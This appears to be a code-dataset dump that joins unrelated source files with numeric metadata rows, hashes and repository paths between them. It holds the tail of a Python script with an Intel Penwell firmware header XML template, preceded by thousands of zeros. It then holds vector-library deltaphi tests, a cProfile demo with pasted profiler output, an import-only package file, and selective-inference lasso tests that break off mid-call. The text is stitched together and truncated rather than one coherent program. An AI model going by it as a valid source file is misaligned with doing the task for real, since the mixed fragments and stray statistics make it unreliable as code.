00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <!-- END Security Firmware --> </header> <!-- END UMIP --> <!-- FIP --> <header title="Firmware Image Profile (FIP) Header"> <hdr_node name="Signature" byte_cnt="04" offset="0000" readonly="true"> <data>$$FIP</data> </hdr_node> <hdr_node name="Header Size" byte_cnt="01" offset="0004" readonly="true"> <data>24</data> </hdr_node> <hdr_node name="Header Minor Revision" byte_cnt="01" offset="0005"> <data>00</data> </hdr_node> <hdr_node name="Header Major Revision" byte_cnt="01" offset="0006"> <data>00</data> </hdr_node> <hdr_node name="Header Checksum" byte_cnt="01" offset="0007" readonly="true"> <data>00</data> </hdr_node> <hdr_node name="Intel RESERVED 08" byte_cnt="01" offset="0008"> <data>00</data> </hdr_node> <hdr_node name="IA-32 Firmware Minor Revision" byte_cnt="01" offset="0009"> <data>00</data> </hdr_node> <hdr_node name="IA-32 Firmware Major Revision" byte_cnt="01" offset="000A"> <data>00</data> </hdr_node> <hdr_node name="IA-32 Firmware Checksum" byte_cnt="01" offset="000B"> <data>00</data> </hdr_node> <hdr_node name="Intel RESERVED" byte_cnt="01" offset="000C"> <data>00</data> </hdr_node> <hdr_node name="P-unit Microcode Minor Revision" byte_cnt="01" offset="000D"> <data>00</data> </hdr_node> <hdr_node name="P-unit Microcode Major Revision" byte_cnt="01" offset="000E"> <data>00</data> </hdr_node> <hdr_node name="P-unit Microcode Checksum" byte_cnt="01" offset="000F"> <data>00</data> </hdr_node> <hdr_node name="Intel RESERVED 10" byte_cnt="01" offset="0010"> <data>00</data> </hdr_node> <hdr_node name="OEM Hooks Minor Revision" byte_cnt="01" offset="0011"> <data>00</data> </hdr_node> <hdr_node name="OEM Hooks Major Revision" byte_cnt="01" offset="0012"> <data>00</data> </hdr_node> <hdr_node name="OEM Hooks Checksum" byte_cnt="01" offset="0013"> <data>00</data> </hdr_node> <hdr_node name="Intel RESERVED 14" byte_cnt="01" offset="0014"> <data>00</data> </hdr_node> <hdr_node name="IA-32 FW Minor Supplemental" byte_cnt="01" offset="0015"> <data>00</data> </hdr_node> <hdr_node name="IA-32 FW Major Supplemental" byte_cnt="01" offset="0016"> <data>00</data> </hdr_node> <hdr_node name="IA-32 FW Checksum Supplemental" byte_cnt="01" offset="0017"> <data>00</data> </hdr_node> <hdr_node name="Intel RESERVED 18" byte_cnt="01" offset="0018"> <data>00</data> </hdr_node> <hdr_node name="SCU Microcode Minor Revision" byte_cnt="01" offset="0019"> <data>00</data> </hdr_node> <hdr_node name="SCU Microcode Major Revision" byte_cnt="01" offset="001A"> <data>00</data> </hdr_node> <hdr_node name="SCU Microcode Checksum" byte_cnt="01" offset="001B"> <data>00</data> </hdr_node> <hdr_node name="Intel RESERVED 1C" byte_cnt="01" offset="001C"> <data>00</data> </hdr_node> <hdr_node name="Chaabi iCache FW Minor Revision" byte_cnt="01" offset="001D"> <data>00</data> </hdr_node> <hdr_node name="Chaabi iCache FW Major Revision" byte_cnt="01" offset="001E"> <data>00</data> </hdr_node> <hdr_node name="Chaabi iCache FW Checksum" byte_cnt="01" offset="001F"> <data>00</data> </hdr_node> <hdr_node name="Intel RESERVED 20" byte_cnt="01" offset="0020"> <data>00</data> </hdr_node> <hdr_node name="Chaabi Resident FW Minor Revision" byte_cnt="01" offset="0021"> <data>00</data> </hdr_node> <hdr_node name="Chaabi Resident FW Major Revision" byte_cnt="01" offset="0022"> <data>00</data> </hdr_node> <hdr_node name="Chaabi Resident FW Checksum" byte_cnt="01" offset="0023"> <data>00</data> </hdr_node> <hdr_node name="Intel RESERVED 24" byte_cnt="01" offset="0024"> <data>00</data> </hdr_node> <hdr_node name="Chaabi EXT FW Revision" byte_cnt="01" offset="0025"> <data>00</data> </hdr_node> <hdr_node name="Chaabi EXT FW Major Revision" byte_cnt="01" offset="0026"> <data>00</data> </hdr_node> <hdr_node name="Chaabi EXT FW Checksum" byte_cnt="01" offset="0027"> <data>00</data> </hdr_node> <hdr_node name="IFWI Minor Revision" byte_cnt="01" offset="0028"> <data>12</data> </hdr_node> <hdr_node name="IFWI Major Revision" byte_cnt="01" offset="0029"> <data>B0</data> </hdr_node> <hdr_node name="Intel RESERVED 2A" byte_cnt="102" offset="002A"> <data>000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> </header> <nand_options> <redundancy>3</redundancy> <pages_per_block>64</pages_per_block> <page_size>4</page_size> <channel_config>0</channel_config> <ecc_type>1</ecc_type> <spare_area>218</spare_area> <number_of_versions>4</number_of_versions> </nand_options> <osip_header> <signature>609439524</signature> <!-- The string "$$OS$$"--> <intel_reserved>0</intel_reserved> <header_minor_revision>0</header_minor_revision> <header_major_revision>1</header_major_revision> <header_checksum>14</header_checksum> <number_of_pointers>$num_images</number_of_pointers> <number_of_images>1</number_of_images> <header_size>80</header_size> $osimage_lines </osip_header> <spi_overrides/> <psct_data/> <sct_data/> </platform> """ def get_penwell_xml(images, is_signed, stepping): sub_dict = { "osimage_lines" : get_os_image_xml(images, is_signed), "stepping" : stepping, "num_images" : len(images) } return Template(penwell_xml_template).substitute(sub_dict) if __name__ == "__main__": main()
97.805852
25,106
0.862558
24,415
421,152
14.694819
0.09232
0.04667
0.037712
0.043353
0.806416
0.632262
0.620446
0.609041
0.580789
0.294782
0
0.685542
0.068251
421,152
4,305
25,107
97.828571
0.228747
0.002702
0
0.56342
0
0.073634
0.986561
0.636059
0
1
0.000376
0
0.000238
0
null
null
0
0.001663
null
null
0.002613
0
0
1
null
0
0
0
1
0
0
0
0
0
0
1
0
0
0
1
0
1
0
0
0
0
0
1
1
null
1
0
0
0
1
0
0
0
0
0
0
0
0
9
3daa07ae74e519a7c2b2293ce00b35b531dc9a5a
1,552
py
Python
tests/compute/planar/test_deltaphi.py
ianna/vector
c00b258049c0ea1de46f90311849923b96068a02
[ "BSD-3-Clause" ]
null
null
null
tests/compute/planar/test_deltaphi.py
ianna/vector
c00b258049c0ea1de46f90311849923b96068a02
[ "BSD-3-Clause" ]
null
null
null
tests/compute/planar/test_deltaphi.py
ianna/vector
c00b258049c0ea1de46f90311849923b96068a02
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2019-2021, Jonas Eschle, Jim Pivarski, Eduardo Rodrigues, and Henry Schreiner. # # Distributed under the 3-clause BSD license, see accompanying file LICENSE # or https://github.com/scikit-hep/vector for details. import math import pytest import vector.backends.object_ def test_xy_xy(): v1 = vector.backends.object_.VectorObject2D( vector.backends.object_.AzimuthalObjectXY(1, 2) ) v2 = vector.backends.object_.VectorObject2D( vector.backends.object_.AzimuthalObjectXY(3, 4) ) assert v1.deltaphi(v2) == pytest.approx(math.atan2(2, 1) - math.atan2(4, 3)) def test_xy_rhophi(): v1 = vector.backends.object_.VectorObject2D( vector.backends.object_.AzimuthalObjectXY(1, 2) ) v2 = vector.backends.object_.VectorObject2D( vector.backends.object_.AzimuthalObjectRhoPhi(3, 4) ) assert v1.deltaphi(v2) == pytest.approx(math.atan2(2, 1) - 4) def test_rhophi_xy(): v1 = vector.backends.object_.VectorObject2D( vector.backends.object_.AzimuthalObjectRhoPhi(1, 2) ) v2 = vector.backends.object_.VectorObject2D( vector.backends.object_.AzimuthalObjectXY(3, 4) ) assert v1.deltaphi(v2) == pytest.approx(2 - math.atan2(4, 3)) def test_rhophi_rhophi(): v1 = vector.backends.object_.VectorObject2D( vector.backends.object_.AzimuthalObjectRhoPhi(1, 2) ) v2 = vector.backends.object_.VectorObject2D( vector.backends.object_.AzimuthalObjectRhoPhi(3, 4) ) assert v1.deltaphi(v2) == pytest.approx(2 - 4)
30.431373
94
0.704253
189
1,552
5.650794
0.280423
0.222846
0.318352
0.254682
0.7603
0.7603
0.726592
0.726592
0.726592
0.709738
0
0.050901
0.177191
1,552
50
95
31.04
0.785435
0.141108
0
0.457143
0
0
0
0
0
0
0
0
0.114286
1
0.114286
false
0
0.085714
0
0.2
0
0
0
0
null
1
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
3dd035a10917dc6fdf2ee40688bee90cdf9ab273
3,678
py
Python
learn/profile_demo.py
HiAwesome/python-algorithm
eda61b52b4b25940caf58a40641122772b8c9203
[ "Apache-2.0" ]
1
2020-11-05T08:55:30.000Z
2020-11-05T08:55:30.000Z
learn/profile_demo.py
HiAwesome/python-algorithm
eda61b52b4b25940caf58a40641122772b8c9203
[ "Apache-2.0" ]
null
null
null
learn/profile_demo.py
HiAwesome/python-algorithm
eda61b52b4b25940caf58a40641122772b8c9203
[ "Apache-2.0" ]
null
null
null
""" https://docs.python.org/3/library/profile.html 练习 Python 性能测试 来源 blog: https://yifei.me/note/612/ 使用 cProfile 和火焰图调优 Python 程序性能 作用:碰到 Python 性能平静下来时作为参考 """ import cProfile # noinspection PyUnresolvedReferences import re cProfile.run('re.compile("foo|bar")') """ 214 function calls (207 primitive calls) in 0.000 seconds Ordered by: standard name ncalls tottime percall cumtime percall filename:lineno(function) 1 0.000 0.000 0.000 0.000 <string>:1(<module>) 2 0.000 0.000 0.000 0.000 enum.py:283(__call__) 2 0.000 0.000 0.000 0.000 enum.py:562(__new__) 1 0.000 0.000 0.000 0.000 enum.py:833(__and__) 1 0.000 0.000 0.000 0.000 re.py:250(compile) 1 0.000 0.000 0.000 0.000 re.py:289(_compile) 1 0.000 0.000 0.000 0.000 sre_compile.py:249(_compile_charset) 1 0.000 0.000 0.000 0.000 sre_compile.py:276(_optimize_charset) 2 0.000 0.000 0.000 0.000 sre_compile.py:453(_get_iscased) 1 0.000 0.000 0.000 0.000 sre_compile.py:461(_get_literal_prefix) 1 0.000 0.000 0.000 0.000 sre_compile.py:492(_get_charset_prefix) 1 0.000 0.000 0.000 0.000 sre_compile.py:536(_compile_info) 2 0.000 0.000 0.000 0.000 sre_compile.py:595(isstring) 1 0.000 0.000 0.000 0.000 sre_compile.py:598(_code) 3/1 0.000 0.000 0.000 0.000 sre_compile.py:71(_compile) 1 0.000 0.000 0.000 0.000 sre_compile.py:759(compile) 3 0.000 0.000 0.000 0.000 sre_parse.py:111(__init__) 7 0.000 0.000 0.000 0.000 sre_parse.py:160(__len__) 18 0.000 0.000 0.000 0.000 sre_parse.py:164(__getitem__) 7 0.000 0.000 0.000 0.000 sre_parse.py:172(append) 3/1 0.000 0.000 0.000 0.000 sre_parse.py:174(getwidth) 1 0.000 0.000 0.000 0.000 sre_parse.py:224(__init__) 8 0.000 0.000 0.000 0.000 sre_parse.py:233(__next) 2 0.000 0.000 0.000 0.000 sre_parse.py:249(match) 6 0.000 0.000 0.000 0.000 sre_parse.py:254(get) 1 0.000 0.000 0.000 0.000 sre_parse.py:286(tell) 1 0.000 0.000 0.000 0.000 sre_parse.py:435(_parse_sub) 2 0.000 0.000 0.000 0.000 sre_parse.py:493(_parse) 1 0.000 0.000 0.000 0.000 sre_parse.py:76(__init__) 2 0.000 0.000 0.000 0.000 sre_parse.py:81(groups) 1 0.000 0.000 0.000 0.000 sre_parse.py:921(fix_flags) 1 0.000 0.000 0.000 0.000 sre_parse.py:937(parse) 1 0.000 0.000 0.000 0.000 {built-in method _sre.compile} 1 0.000 0.000 0.000 0.000 {built-in method builtins.exec} 25 0.000 0.000 0.000 0.000 {built-in method builtins.isinstance} 29/26 0.000 0.000 0.000 0.000 {built-in method builtins.len} 2 0.000 0.000 0.000 0.000 {built-in method builtins.max} 9 0.000 0.000 0.000 0.000 {built-in method builtins.min} 6 0.000 0.000 0.000 0.000 {built-in method builtins.ord} 48 0.000 0.000 0.000 0.000 {method 'append' of 'list' objects} 1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects} 5 0.000 0.000 0.000 0.000 {method 'find' of 'bytearray' objects} 1 0.000 0.000 0.000 0.000 {method 'items' of 'dict' objects} """
54.895522
94
0.560359
670
3,678
2.952239
0.208955
0.349848
0.326087
0.521739
0.635996
0.635996
0.635996
0.635996
0.635996
0.603134
0
0.341839
0.328711
3,678
67
95
54.895522
0.459295
0.052202
0
0
0
0
0.3
0.3
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
0
0
0
null
1
1
1
0
0
0
0
0
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
9
9a9abcc1397f151bedee4940444eb707804dd94b
230
py
Python
fundamentals/company_pricing/__init__.py
marcellogoccia/deep-value-investing
4d45cc92c157246485b638d2052596a76975ec8a
[ "MIT" ]
null
null
null
fundamentals/company_pricing/__init__.py
marcellogoccia/deep-value-investing
4d45cc92c157246485b638d2052596a76975ec8a
[ "MIT" ]
null
null
null
fundamentals/company_pricing/__init__.py
marcellogoccia/deep-value-investing
4d45cc92c157246485b638d2052596a76975ec8a
[ "MIT" ]
null
null
null
from fundamentals.company_pricing.pay_back_time import get_pay_back_time from fundamentals.company_pricing.margin_of_safety import get_margin_of_safety from fundamentals.company_pricing.pricing_mizrahi import get_pricing_mizrahi
46
78
0.917391
34
230
5.735294
0.382353
0.246154
0.353846
0.461538
0
0
0
0
0
0
0
0
0.056522
230
4
79
57.5
0.898618
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
9ade5b999caa0eb855860c1a63e4ce1026e2802b
96
py
Python
toptracks/api/__init__.py
craffer/popular-tracks
3a5f389b35102a32d5f05bbf2f7d0da83e65166d
[ "MIT" ]
null
null
null
toptracks/api/__init__.py
craffer/popular-tracks
3a5f389b35102a32d5f05bbf2f7d0da83e65166d
[ "MIT" ]
null
null
null
toptracks/api/__init__.py
craffer/popular-tracks
3a5f389b35102a32d5f05bbf2f7d0da83e65166d
[ "MIT" ]
null
null
null
"""Toptracks REST API.""" from toptracks.api.tracks import * from toptracks.api.search import *
24
34
0.75
13
96
5.538462
0.538462
0.361111
0.444444
0
0
0
0
0
0
0
0
0
0.114583
96
3
35
32
0.847059
0.197917
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b133735f6d0f07f44cdfeaf3285d51987643e7ed
27,885
py
Python
selectinf/randomized/tests/test_selective_MLE_high.py
kevinbfry/selective-inference
4e846877b5c23969fc420b452f20cc3b16b6cb78
[ "BSD-3-Clause" ]
14
2015-09-01T19:31:25.000Z
2021-11-26T08:47:10.000Z
selectinf/randomized/tests/test_selective_MLE_high.py
kevinbfry/selective-inference
4e846877b5c23969fc420b452f20cc3b16b6cb78
[ "BSD-3-Clause" ]
7
2016-09-12T20:41:41.000Z
2018-06-26T02:10:30.000Z
selectinf/randomized/tests/test_selective_MLE_high.py
kevinbfry/selective-inference
4e846877b5c23969fc420b452f20cc3b16b6cb78
[ "BSD-3-Clause" ]
10
2015-09-01T19:31:28.000Z
2021-02-23T01:16:20.000Z
import numpy as np import nose.tools as nt import regreg.api as rr from ..lasso import (lasso, split_lasso, full_targets, selected_targets, debiased_targets) from ...tests.instance import (gaussian_instance, logistic_instance, poisson_instance, cox_instance) def test_full_targets(n=200, p=1000, signal_fac=0.5, s=5, sigma=3, rho=0.4, randomizer_scale=0.7, full_dispersion=False): """ Run approx MLE with full targets on Gaussian data """ inst, const = gaussian_instance, lasso.gaussian while True: signal = np.sqrt(signal_fac * 2 * np.log(p)) X, Y, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=True, rho=rho, sigma=sigma, random_signs=True)[:3] idx = np.arange(p) sigmaX = rho ** np.abs(np.subtract.outer(idx, idx)) print("snr", beta.T.dot(sigmaX).dot(beta) / ((sigma ** 2.) * n)) n, p = X.shape sigma_ = np.std(Y) W = np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) * sigma_ conv = const(X, Y, W, randomizer_scale=randomizer_scale * sigma_) signs = conv.fit() nonzero = signs != 0 print("dimensions", n, p, nonzero.sum()) if nonzero.sum() > 0: if full_dispersion: dispersion = np.linalg.norm(Y - X.dot(np.linalg.pinv(X).dot(Y))) ** 2 / (n - p) else: dispersion = None if n > p: (observed_target, cov_target, cov_target_score, alternatives) = full_targets(conv.loglike, conv._W, nonzero, dispersion=dispersion) else: (observed_target, cov_target, cov_target_score, alternatives) = debiased_targets(conv.loglike, conv._W, nonzero, penalty=conv.penalty, dispersion=dispersion) result = conv.selective_MLE(observed_target, cov_target, cov_target_score)[0] pval = result['pvalue'] estimate = result['MLE'] intervals = np.asarray(result[['lower_confidence', 'upper_confidence']]) print("estimate, intervals", estimate, intervals) coverage = (beta[nonzero] > intervals[:, 0]) * (beta[nonzero] < intervals[:, 1]) return pval[beta[nonzero] == 0], pval[beta[nonzero] != 0], coverage, intervals def test_selected_targets(n=2000, p=200, signal_fac=10., s=5, sigma=3, rho=0.4, randomizer_scale=1, full_dispersion=True): """ Run approx MLE with selected targets on Gaussian data """ inst, const = gaussian_instance, lasso.gaussian signal = np.sqrt(signal_fac * 2 * np.log(p)) while True: X, Y, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=True, rho=rho, sigma=sigma, random_signs=True)[:3] idx = np.arange(p) sigmaX = rho ** np.abs(np.subtract.outer(idx, idx)) print("snr", beta.T.dot(sigmaX).dot(beta) / ((sigma ** 2.) * n)) n, p = X.shape sigma_ = np.std(Y) W = 0.8 * np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) * sigma_ conv = const(X, Y, W, ridge_term=0., randomizer_scale=randomizer_scale * sigma_) signs = conv.fit() nonzero = signs != 0 print("dimensions", n, p, nonzero.sum()) if nonzero.sum() > 0: dispersion = None if full_dispersion: dispersion = np.linalg.norm(Y - X.dot(np.linalg.pinv(X).dot(Y))) ** 2 / (n - p) (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(conv.loglike, conv._W, nonzero, dispersion=dispersion) result = conv.selective_MLE(observed_target, cov_target, cov_target_score)[0] estimate = result['MLE'] pval = result['pvalue'] intervals = np.asarray(result[['lower_confidence', 'upper_confidence']]) beta_target = np.linalg.pinv(X[:, nonzero]).dot(X.dot(beta)) coverage = (beta_target > intervals[:, 0]) * (beta_target < intervals[:, 1]) return pval[beta[nonzero] == 0], pval[beta[nonzero] != 0], coverage, intervals def test_logistic(n=2000, p=200, signal_fac=10., s=5, rho=0.4, randomizer_scale=1): """ Run approx MLE with selected targets on binomial data """ inst, const = logistic_instance, lasso.logistic signal = np.sqrt(signal_fac * 2 * np.log(p)) while True: X, Y, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=False, rho=rho, random_signs=True)[:3] n, p = X.shape sigma_ = np.std(Y) W = np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) * sigma_ conv = const(X, Y, W, randomizer_scale=randomizer_scale * sigma_) signs = conv.fit() nonzero = signs != 0 print("dimensions", n, p, nonzero.sum()) if nonzero.sum() > 0: (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(conv.loglike, conv._W, nonzero, dispersion=1) result = conv.selective_MLE(observed_target, cov_target, cov_target_score)[0] estimate = result['MLE'] pval = result['pvalue'] intervals = np.asarray(result[['lower_confidence', 'upper_confidence']]) return pval[beta[nonzero] == 0], pval[beta[nonzero] != 0], intervals def test_logistic_split(n=2000, p=200, signal_fac=10., s=5, rho=0.4, randomizer_scale=1): """ Run approx MLE with selected targets on binomial data with data splitting """ inst, const = logistic_instance, split_lasso.logistic signal = np.sqrt(signal_fac * 2 * np.log(p)) while True: X, Y, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=False, rho=rho, random_signs=True)[:3] n, p = X.shape sigma_ = np.std(Y) W = np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) * sigma_ conv = const(X, Y, W, proportion=0.7) signs = conv.fit() nonzero = signs != 0 print("dimensions", n, p, nonzero.sum()) if nonzero.sum() > 0: (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(conv.loglike, conv._W, nonzero, dispersion=1) result = conv.selective_MLE(observed_target, cov_target, cov_target_score)[0] estimate = result['MLE'] pval = result['pvalue'] intervals = np.asarray(result[['lower_confidence', 'upper_confidence']]) return pval[beta[nonzero] == 0], pval[beta[nonzero] != 0], intervals def test_poisson(n=2000, p=200, signal_fac=10., s=5, rho=0.4, randomizer_scale=1): """ Run approx MLE with selected targets on Poisson data """ inst, const = poisson_instance, lasso.poisson signal = np.sqrt(signal_fac * 2 * np.log(p)) while True: X, Y, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=False, rho=rho, random_signs=True)[:3] n, p = X.shape sigma_ = np.std(Y) W = np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) * sigma_ conv = const(X, Y, W, randomizer_scale=randomizer_scale * sigma_) signs = conv.fit() nonzero = signs != 0 print("dimensions", n, p, nonzero.sum()) if nonzero.sum() > 0: (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(conv.loglike, conv._W, nonzero, dispersion=1) result = conv.selective_MLE(observed_target, cov_target, cov_target_score)[0] estimate = result['MLE'] pval = result['pvalue'] intervals = np.asarray(result[['lower_confidence', 'upper_confidence']]) return pval[beta[nonzero] == 0], pval[beta[nonzero] != 0], intervals def test_poisson_split(n=2000, p=200, signal_fac=10., s=5, rho=0.4, randomizer_scale=1): """ Run approx MLE with selected targets on Poisson data with data splitting """ inst, const = poisson_instance, split_lasso.poisson signal = np.sqrt(signal_fac * 2 * np.log(p)) while True: X, Y, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=False, rho=rho, random_signs=True)[:3] n, p = X.shape sigma_ = np.std(Y) W = np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) * sigma_ conv = const(X, Y, W, proportion=0.7) signs = conv.fit() nonzero = signs != 0 print("dimensions", n, p, nonzero.sum()) if nonzero.sum() > 0: (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(conv.loglike, conv._W, nonzero, dispersion=1) result = conv.selective_MLE(observed_target, cov_target, cov_target_score)[0] estimate = result['MLE'] pval = result['pvalue'] intervals = np.asarray(result[['lower_confidence', 'upper_confidence']]) return pval[beta[nonzero] == 0], pval[beta[nonzero] != 0], intervals def test_cox(n=2000, p=200, signal_fac=10., s=5, rho=0.4, randomizer_scale=1): """ Run approx MLE with selected targets on survival data """ inst, const = cox_instance, lasso.coxph signal = np.sqrt(signal_fac * 2 * np.log(p)) while True: X, T, S, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=False, rho=rho, random_signs=True)[:4] n, p = X.shape W = np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) conv = const(X, T, S, W, randomizer_scale=randomizer_scale) signs = conv.fit() nonzero = signs != 0 print("dimensions", n, p, nonzero.sum()) if nonzero.sum() > 0: cox_full = rr.glm.cox(X, T, S) full_hess = cox_full.hessian(conv.initial_soln) (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(conv.loglike, None, nonzero, hessian=full_hess, dispersion=1) result = conv.selective_MLE(observed_target, cov_target, cov_target_score)[0] estimate = result['MLE'] pval = result['pvalue'] intervals = np.asarray(result[['lower_confidence', 'upper_confidence']]) return pval[beta[nonzero] == 0], pval[beta[nonzero] != 0], intervals def test_cox_split(n=2000, p=200, signal_fac=10., s=5, rho=0.4, randomizer_scale=1): """ Run approx MLE with selected targets on survival data with data splitting """ inst, const = cox_instance, split_lasso.coxph signal = np.sqrt(signal_fac * 2 * np.log(p)) while True: X, T, S, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=False, rho=rho, random_signs=True)[:4] n, p = X.shape W = np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) conv = const(X, T, S, W, proportion=0.7) signs = conv.fit() nonzero = signs != 0 print("dimensions", n, p, nonzero.sum()) if nonzero.sum() > 0: cox_full = rr.glm.cox(X, T, S) full_hess = cox_full.hessian(conv.initial_soln) (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(conv.loglike, None, nonzero, hessian=full_hess, dispersion=1) result = conv.selective_MLE(observed_target, cov_target, cov_target_score)[0] estimate = result['MLE'] pval = result['pvalue'] intervals = np.asarray(result[['lower_confidence', 'upper_confidence']]) return pval[beta[nonzero] == 0], pval[beta[nonzero] != 0], intervals def test_scale_invariant_split(n=200, p=20, signal_fac=10., s=5, sigma=3, rho=0.4, randomizer_scale=1, full_dispersion=True, seed=2): """ Confirm Gaussian version is appropriately scale invariant with data splitting """ inst, const = gaussian_instance, split_lasso.gaussian signal = np.sqrt(signal_fac * 2 * np.log(p)) results = [] scales = [1, 5] for scale in scales: np.random.seed(seed) X, Y, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=False, rho=rho, sigma=sigma, random_signs=True)[:3] Y *= scale; beta *= scale n, p = X.shape sigma_ = np.std(Y) W = np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) * sigma_ print('W', W[0]/scale) conv = const(X, Y, W, proportion=0.7) signs = conv.fit() nonzero = signs != 0 print('nonzero', np.where(nonzero)[0]) print('feature_weights', conv.feature_weights[0] / scale) dispersion = np.linalg.norm(Y - X.dot(np.linalg.pinv(X).dot(Y))) ** 2 / (n - p) (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(conv.loglike, conv._W, nonzero, dispersion=dispersion) print('dispersion', dispersion/scale**2) print('target', observed_target[0]/scale) print('cov_target', cov_target[0,0]/scale**2) print('cov_target_score', cov_target_score[0,0]/scale**2) result = conv.selective_MLE(observed_target, cov_target, 